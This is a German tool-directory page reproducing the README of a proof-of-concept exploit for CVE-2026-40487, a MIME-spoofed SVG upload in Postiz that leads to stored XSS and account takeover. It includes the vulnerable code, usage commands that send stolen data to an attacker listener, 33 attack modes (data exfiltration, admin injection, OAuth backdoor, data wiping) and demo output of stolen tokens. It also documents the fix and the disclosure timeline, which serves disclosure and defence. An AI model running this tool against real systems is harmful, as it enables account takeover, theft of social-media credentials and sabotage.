Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/astaruf/cve-2026-40487
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsPayload-Entwicklung
GitHubastaruf/cve-2026-40487

CVE-2026-40487

Proof-of-Concept-Exploit für CVE-2026-40487, das einen beliebigen Datei-Upload per MIME-Spoofing demonstriert, der zu gespeichertem XSS und Account-Übernahme in Postiz führt. Enthält mehrere Angriffsmodi für Datenextraktion, Privilegieneskalation und Persistenz.

Repository anzeigen
3vor 4 MonatenNoch nicht geprüft
Webseite

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-40487 - Postiz <= 2.21.5 - Beliebiger Datei-Upload durch MIME-Type-Spoofing zu gespeichertem XSS bis hin zur Account-Übernahme

Entdeckt und gemeldet von: Astaruf

Vollständiger Bericht: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/

NVD-Eintrag: https://nvd.nist.gov/vuln/detail/CVE-2026-40487

GHSA-Eintrag: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx

CVE-Datensatz: https://www.cve.org/CVERecord?id=CVE-2026-40487


Zusammenfassung

Postiz ist ein Open-Source-Tool für Social-Media-Management mit 28+ Plattform-Integrationen (Instagram, X, LinkedIn, Facebook, TikTok, etc.), das von 600+ im Internet exponierten Instanzen genutzt wird.

Ein Angreifer mit niedrigen Privilegien kann eine bösartige SVG- (oder HTML-) Datei mit einem gespooften Content-Type: image/png-Header hochladen. Der Server akzeptiert die Datei, ohne deren tatsächlichen Inhalt zu prüfen, behält die ursprüngliche Dateiendung bei, und nginx liefert sie mit dem aus dieser Endung abgeleiteten Content-Type aus (image/svg+xml). Wenn ein Opfer die URL öffnet, wird das eingebettete JavaScript im Ursprung der Anwendung ausgeführt, was dem Angreifer vollständige Session-Riding-Fähigkeiten verleiht, die einer Account-Übernahme gleichkommen.

Die Angriffskette:

root@kitploit:~
Angreifer lädt .svg mit Content-Type: image/png hoch
  -> Server validiert nur den Content-Type-Header (CWE-345)
    -> Datei wird mit ursprünglicher .svg-Endung auf der Festplatte gespeichert (CWE-434)
      -> nginx liefert sie als image/svg+xml aus
        -> Browser führt eingebettetes JavaScript aus (CWE-79)
          -> Gleicher Ursprung: vollständiger Zugriff auf die Sitzung des Opfers

Auswirkungen

Das XSS-Payload wird gleichursprünglich (same-origin) mit der Anwendung ausgeführt. Obwohl das Auth-Cookie HttpOnly ist, hängt fetch() mit credentials: "include" es automatisch an. Der Angreifer kann:

  • Das Profil des Opfers, API-Schlüssel und OAuth-Tokens für alle verbundenen Social-Media-Konten exfiltrieren
  • Geplante Beiträge auf allen Plattformen lesen, erstellen, ändern und löschen
  • Den Angreifer als Admin in der Organisation des Opfers einladen
  • Eine persistente OAuth-Hintertür erstellen (pos_*-Token, das nie abläuft und Passwortänderungen übersteht)
  • Benachrichtigungen deaktivieren, Konfigurationen löschen, Logout erzwingen
  • Beliebige authentifizierte API-Aufrufe als das Opfer ausführen

Schwachstellendetails

Drei Komponenten versagen unabhängig voneinander und erzeugen so die Exploit-Kette:

1. MIME-Type-Validierung vertraut Client-Eingaben (CWE-345)

libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:

root@kitploit:~
const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

value.mimetype stammt aus dem Content-Type-Header der Multipart-Anfrage, den der Angreifer kontrolliert. Keine Magic-Byte-Prüfung, keine Verwendung von Bibliotheken wie file-type.

2. Ursprüngliche Endung wird auf der Festplatte beibehalten (CWE-434)

libraries/nestjs-libraries/src/upload/local.storage.ts:

root@kitploit:~
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

extname(file.originalname) extrahiert die Endung aus dem vom Client gelieferten Dateinamen. Keine Prüfung auf Konsistenz zwischen deklariertem MIME-Typ und Endung. Der Server gibt außerdem die vollständige öffentliche URL in der Antwort zurück, sodass der Angreifer den Link erhält, den er an das Opfer senden kann.

3. nginx liefert mit aus der Endung abgeleitetem Content-Type aus

root@kitploit:~
http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

nginx mappt .svg auf image/svg+xml, .html auf text/html. Kein Content-Security-Policy, kein X-Content-Type-Options: nosniff, kein Content-Disposition: attachment.

Proof of Concept

Voraussetzungen

root@kitploit:~
Python 3.8+
pip install requests

Schnellstart

root@kitploit:~
# 1. Prüfen, ob das Ziel verwundbar ist
python3 poc.py http://target:5000 -e [email protected] -p password --check

# 2. Alles vom Opfer exfiltrieren
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a full-dump

# 3. Eine persistente Hintertür erstellen
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. Das Token ohne Anmeldedaten wiederverwenden
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

Angriffsablauf

root@kitploit:~
Angreifer                    Server Postiz              Opfer
    |                              |                        |
    |-- 1. Login/Registrierung --->|                        |
    |-- 2. Bösartiges SVG hochladen ->|                        |
    |<---- URL der Datei -----------|                        |
    |-- 3. URL an Opfer senden --------------------------->  |
    |                              |<--- 4. Öffnet URL ----- |
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. JS wird ausgeführt, exfiltriert Daten -----------|

Alle Angriffsmodi (33)

Exfiltration (19 Modi) - Daten des Opfers stehlen
ModusBeschreibung
dump-selfProfil des Opfers, Organisationsinfo, Tarif, API-Schlüssel
dump-personalAnzeigename, Bio, Profilbild
dump-integrationsVerbundene Social-Media-Integrationen und Tokens
dump-postsGeplante und Entwurfsbeiträge (letzte 365 Tage)
dump-teamTeammitglieder, Rollen und E-Mail-Adressen
dump-mediaAuflistung der Medienbibliothek
dump-notificationsBenachrichtigungsverlauf
dump-signaturesBeitragssignaturen
dump-webhooksKonfigurierte Webhooks und deren URLs
dump-oauth-appOAuth-App-Anmeldedaten (clientId, secret)
dump-copilotKI-Copilot-Konversationsverläufe
dump-billingAbrechnungs- und Abonnementinformationen
dump-settingsShortlink- und Benachrichtigungseinstellungen
dump-third-partyKonfigurationen von Drittanbieter-Integrationen
dump-autopostAutopost-Regeln
dump-setsInhaltssets
dump-tagsBeitrags-Tags
dump-customersKundenliste
full-dumpAlles oben Genannte in einem einzigen Payload
Privilegienerweiterung (3 Modi)
ModusBeschreibung
add-adminAngreifer als ADMIN in die Organisation des Opfers einladen (--attacker-email)
rotate-keyOrganisations-API-Schlüssel rotieren und exfiltrieren
rotate-oauthOAuth-App-Secret rotieren und exfiltrieren
Sabotage (9 Modi) - destruktive Aktionen
ModusBeschreibung
kill-notificationsAlle E-Mail-Benachrichtigungen deaktivieren
edit-profileName und Bio des Opfers ändern (--edit-name, --edit-bio)
wipe-signaturesAlle Beitragssignaturen löschen
wipe-webhooksAlle Webhooks löschen
wipe-tagsAlle Tags löschen
wipe-setsAlle Inhaltssets löschen
wipe-autopostAlle Autopost-Regeln löschen
logout-victimLogout des Opfers erzwingen
delete-oauth-appOAuth-Anwendung des Opfers löschen
Hintertür (2 Modi) - persistenter Zugriff
ModusBeschreibung
create-oauth-appOAuth-App erstellen, automatisch genehmigen, persistentes pos_*-Token exfiltrieren (--oauth-redirect)
steal-cookieAuth-JWT über document.cookie stehlen (wenn NOT_SECURED=true)
Allgemein (2 Modi) - fortgeschritten
ModusBeschreibung
api-callBeliebiger authentifizierter API-Aufruf (--api-method, --api-path, --api-body)
customBeliebiges JavaScript ausführen (--custom-js)

Zusätzliche Optionen

OptionBeschreibung
--checkPrüfen, ob das Ziel verwundbar ist (kein Angriff wird ausgeführt)
--registerNeues Konto vor dem Login registrieren
-t / --tokenAPI-Schlüssel oder pos_*-Token anstelle von Anmeldedaten verwenden
--format htmlHTML-Payload anstelle von SVG verwenden
--proxyVerkehr über HTTP/SOCKS-Proxy leiten (z. B. Burp Suite)
-o / --outputBeute in JSON-Datei speichern

Demo

root@kitploit:~
$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗  ██╗  ██╗  █████╗  ███████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ██╔═████╗ ██║  ██║ ██╔══██╗ ╚════██║
██║     ██║   ██║█████╗   -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝     ██╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗    ██╔╝
╚██████╗ ╚████╔╝ ███████╗             ██║ ╚██████╔╝      ██║ ╚█████╔╝    ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═════╝       ╚═╝  ╚════╝     ╚═╝

  Postiz <= 2.21.5 — Gespeichertes XSS durch MIME-gespooften Datei-Upload

[*] Anmelden als [email protected] ...
[+] Authentifiziert.
[*] Payload wird generiert: Alles in einem einzigen Payload exfiltrieren
[*] Bösartige .svg mit Content-Type: image/png wird hochgeladen ...
[+] Upload erfolgreich.
    ID:   28c1daee-d83e-403e-bc1f-dba63182d4b0
    Pfad: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] Exfiltrations-Listener wird auf 0.0.0.0:8888 gestartet ...

=================================================================
  Senden Sie diese URL an das Opfer:

  http://target:5000/uploads/2026/04/15/4be19b2244eb.svg

=================================================================

[*] Warten, bis das Opfer den Link öffnet ...

[+] Beute empfangen @ 2026-04-15 03:45:41
    tag: victim-profile
    data: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}

[+] Beute empfangen @ 2026-04-15 03:45:41
    tag: integrations
    data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]

[+] Beute empfangen @ 2026-04-15 03:45:42
    tag: team-members
    data: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
    ...

Behebung

Version 2.21.6 führte drei Änderungen ein:

  1. Magic-Byte-Validierung mithilfe der file-type-Bibliothek zur Prüfung des tatsächlichen Dateiinhalts
  2. Explizite MIME-Type-Allowlist (kein image/*-Catch-all mehr)
  3. Endungsüberschreibung basierend auf dem erkannten Inhaltstyp

Zeitplan

DatumEreignis
2026-04-10Schwachstelle während der Quellcode-Überprüfung entdeckt
2026-04-10Über GitHub Security Advisory (GHSA) gemeldet
2026-04-10Entwickler bestätigten und forderten Klarstellung an
2026-04-10Detaillierte Angriffsszenarien und Shodan-Daten bereitgestellt
2026-04-11CVSS-Streitfall mit Beweisen eingereicht
2026-04-13Fix in v2.21.6 veröffentlicht
2026-04-14CVE-2026-40487 zugewiesen
2026-04-15Öffentliche Offenlegung

Referenzen

  • Vollständiger Astaruf-Bericht
  • CVE-2026-40487 - GHSA Security Advisory
  • CVE-2026-40487 - NVD-Eintrag
  • Postiz - Offizielles Repository
  • Postiz v2.21.6 - Fix-Release
  • CWE-345: Unzureichende Verifizierung der Datenauthentizität
  • CWE-434: Uneingeschränkter Upload von Dateien mit gefährlichem Typ
  • CWE-79: Gespeichertes Cross-Site Scripting
  • OWASP - Uneingeschränkter Datei-Upload

Haftungsausschluss

Dieses Tool wird nur für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Verwenden Sie es ausschließlich gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.

Lizenz

MIT

Tool herunterladen